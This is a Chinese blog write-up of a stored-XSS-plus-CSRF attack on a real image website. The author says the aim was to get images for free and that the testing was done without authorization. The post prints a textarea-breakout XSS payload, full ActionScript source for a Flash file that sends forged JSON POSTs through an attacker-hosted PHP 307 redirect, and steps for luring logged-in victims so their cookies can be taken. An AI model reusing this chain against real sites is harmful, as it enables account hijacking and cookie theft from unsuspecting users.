一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

admin 2021年10月4日02:20:50评论260 views字数 2726阅读9分5秒阅读模式

Author:d4m1ts



起因


为了白嫖某个某图片网中的图片,便对其进进行了简单的测试。
PS:
  • 前面信息收集什么的就不多说了,和本文内容也没多大关系,就直接讲重点吧
  • 因为自己浏览器的问题,验证码加载不出来,所以后面都是用同学的账号做的测试,高强度打码




发现存储型XSS漏洞


大概逛了一下网站,最后进入了信息设置面板
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

看着这么多的框,总感觉存在XSS,审查元素后发现 简介 是用<textarea>这个标签来闭合的,于是构造 payload
</textarea><script>alert(/xss/)</script><textarea>

保存刷新后,成功弹出 xss
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

至此存储型XSS验证成功



分界线


因为这个页面只有自己能看见,所以也就自己能触发(别人看资料的时候<>会被转义,也就没用了)

感觉这个洞很鸡肋,这个时候又想到了CSRF,如果每个人都自动将简介改成精心生成的恶意代码,那么这样每个人想再次修改自己的资料的时候,就可以触发 存储型XSS,我们也就可以盗取cookie、挂马或者其他一系列骚操作




CSRF 漏洞



按照原来一样的操作
修改信息 –> 保存时抓包 –> 生成CSRF POC –> 打开POC –> 检验是否利用成功
但是这里遇到一个问题
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)
以前post提交的数据都是形如 a=123&b=456 这种,而这里提交的却是 json 格式的
于是这里就要利用到一些骚姿势

偷一张大佬们的图(这里因为需要验证content-type,目前搜到的就只有这种方法)
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

后面的大概攻击流程就是这样

生成 csrf.swf 文件

  • 从Adobe官网安装Flex SDK用于将ActionScript编译为swf文件。Flex需要安装32位JVM,可以从Oracle官网下载安装32位的JDK。(这里只能用32位的,64位的不行)
  • 创建一个名为csrf.as的文本文件,写入以下ActionScript代码。
  • 将<attacker-ip>占位符替换为攻击者服务器的ip或者域名(307跳转页面的地址)
  • 将此文件编译为csrf.swf,只需运行mxmlc csrf.as命令。这将创建一个名为csrf.swf的文件。
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

package
{
 import flash.display.Sprite;
 import flash.net.URLLoader;
 import flash.net.URLRequest;
 import flash.net.URLRequestHeader;
 import flash.net.URLRequestMethod;public class csrf extends Sprite
 {
   public function csrf()
   {
     super();
     var member1:Object = null;
     var myJson:String = null;
     member1 = new Object();
     member1 = {
         "gender":"2",
         "homeCity":"4170",
         "nowCity":"4170",
         "profession":"23",
         "description":"</textarea><script>alert(document.cookie)</script><textarea>",
         "signature":""
     };
     var myData:Object = member1;
     myJson = JSON.stringify(myData);
     myJson = JSON.stringify(myData);
     var url:String = "http://<attacker-ip>/307.php";
     var request:URLRequest = new URLRequest(url);
     request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
     request.data = myJson;
     request.method = URLRequestMethod.POST;
     var urlLoader:URLLoader = new URLLoader();try
     {
         urlLoader.load(request);
         return;
     }
     catch(e:Error)
     {
         trace(e);
         return;
     }
   }
 }
}
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

重定向php文件

https://xxxx.cn/xxxx/xxxxx 为你要重定向的地址,即修改用户简介的地址,目标网站,不是攻击者的服务器
307.php 文件内容
<?php
// redirect automatically
header("Location: https://xxxx.cn/xxxx/xxxxx", true, 307);
?>

利用过程

攻击者将 csrf.swf 和 307.php 文件放入同一目录
受害者在登陆存在CSRF漏洞的网站后,访问攻击者服务器上的swf文件
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

点击启动flash
可以在下面的网络选项中,看到307跳转成功,而且已经成功提交了POST数据
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

此时我们再刷新受害者个人消息页面,即可成功弹出 cookie 值
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)
到此 CSRF+XSS 组合拳成功打出





总结



  • 有框的地方就可能存在XSS
  • 一定要细心,不仅仅在网站审查上要细心
  • CSRF + JSON 网上也有很多,不过都不是以实战来讲的
  • 网上有些 CSRF + JSON 的利用有坑(这也是为什么我之前花了一整天都没成功)


参考

  • 在JSON端点上利用CSRF漏洞的实践教程
http://www.4hou.com/web/10234.html
  • Exploiting JSON CSRF
https://www.secpulse.com/archives/61297.html
  • Exploiting JSON Cross Site Request Forgery (CSRF) using Flash
https://www.geekboy.ninja/blog/tag/json-csrf/
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

1. PHP代码审计指南

2. 最新linux安全加固脚本2.0

3. 任意文件上传之绕过云waf+本地防火墙双重防护

4. 乌雲安全公众号 所有历史文章PDF下载

最近收集多份渗透学习资料,包括代码审计指南、Android渗透测试方法大全、密码字典、勒索病毒防护手册等等。
获取方式:点 在看 ,关注公众号并回复 1024 领取,更多内容陆续奉上。
一次XSS和CSRF的组合拳进攻 (CSRF+JSON)
文章有帮助的话,在看,转发吧。谢谢支持哟 

本文始发于微信公众号(乌雲安全):一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月4日02:20:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次XSS和CSRF的组合拳进攻 (CSRF+JSON)https://cn-sec.com/archives/563163.html

发表评论

匿名网友 填写信息